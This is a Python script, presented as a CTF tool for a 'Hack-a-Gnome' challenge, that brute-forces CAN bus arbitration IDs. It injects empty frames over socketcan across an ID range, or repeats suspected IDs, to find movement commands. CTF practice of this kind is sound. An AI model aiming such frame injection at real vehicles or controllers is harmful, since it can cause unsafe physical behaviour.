#!/usr/bin/python3
"""
CAN Bus ID Brute Forcer for Hack-a-Gnome CTF
Finds the correct CAN IDs for movement commands
"""
import can
import time
import argparse
import sys
IFACE_NAME = "gcan0"
def send_can_message(bus, can_id):
"""Sends a CAN message with the given ID."""
message = can.Message(
arbitration_id=can_id,
data=[],
is_extended_id=False
)
try:
bus.send(message)
return True
except can.CanError as e:
print(f"Error sending message: {e}")
return False
def brute_force(start_id, end_id, delay, direction=None):
"""Brute force CAN IDs in the given range."""
try:
bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False)
print(f"[+] Connected to {IFACE_NAME}")
except OSError as e:
print(f"[-] Error connecting to CAN interface {IFACE_NAME}: {e}")
sys.exit(1)
except Exception as e:
print(f"[-] Unexpected error: {e}")
sys.exit(1)
print(f"[*] Brute forcing CAN IDs from 0x{start_id:03X} to 0x{end_id:03X}")
print(f"[*] Delay: {delay} seconds between attempts")
if direction:
print(f"[*] Looking for: {direction} command")
print(f"[*] Watch the gnome on the web UI for movement!")
print("-" * 50)
try:
for can_id in range(start_id, end_id + 1):
print(f"[*] Trying CAN ID: 0x{can_id:03X} ({can_id})")
send_can_message(bus, can_id)
time.sleep(delay)
except KeyboardInterrupt:
print(f"\n[!] Stopped at CAN ID: 0x{can_id:03X}")
print(f"[*] To resume, use: --start 0x{can_id:03X}")
finally:
bus.shutdown()
print("[*] CAN bus connection closed.")
def test_specific_ids(ids, delay, repeat=1):
"""Test specific CAN IDs."""
try:
bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False)
print(f"[+] Connected to {IFACE_NAME}")
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)
print(f"[*] Testing specific CAN IDs: {[hex(i) for i in ids]}")
print(f"[*] Repeating {repeat} time(s) each")
print("-" * 50)
try:
for _ in range(repeat):
for can_id in ids:
print(f"[*] Sending CAN ID: 0x{can_id:03X}")
send_can_message(bus, can_id)
time.sleep(delay)
except KeyboardInterrupt:
print("\n[!] Stopped by user")
finally:
bus.shutdown()
print("[*] CAN bus connection closed.")
def main():
parser = argparse.ArgumentParser(
description="CAN Bus ID Brute Forcer for finding movement commands",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Brute force full range (slow)
python3 canbus_bruteforce.py --start 0x000 --end 0xFFF
# Brute force a smaller range
python3 canbus_bruteforce.py --start 0x500 --end 0x600
# Test specific IDs you suspect
python3 canbus_bruteforce.py --test 0x500 0x501 0x502 0x503
# Faster scanning (use with caution)
python3 canbus_bruteforce.py --start 0x000 --end 0xFFF --delay 0.2
"""
)
parser.add_argument("--start", type=lambda x: int(x, 0), default=0x000,
help="Start CAN ID (default: 0x000)")
parser.add_argument("--end", type=lambda x: int(x, 0), default=0xFFF,
help="End CAN ID (default: 0xFFF)")
parser.add_argument("--delay", "-d", type=float, default=0.5,
help="Delay between attempts in seconds (default: 0.5)")
parser.add_argument("--direction", "-D", choices=["up", "down", "left", "right"],
help="Direction you're looking for (just for logging)")
parser.add_argument("--test", "-t", type=lambda x: int(x, 0), nargs="+",
help="Test specific CAN IDs instead of brute forcing")
parser.add_argument("--repeat", "-r", type=int, default=1,
help="Repeat test IDs N times (default: 1)")
args = parser.parse_args()
if args.test:
test_specific_ids(args.test, args.delay, args.repeat)
else:
brute_force(args.start, args.end, args.delay, args.direction)
if __name__ == "__main__":
main()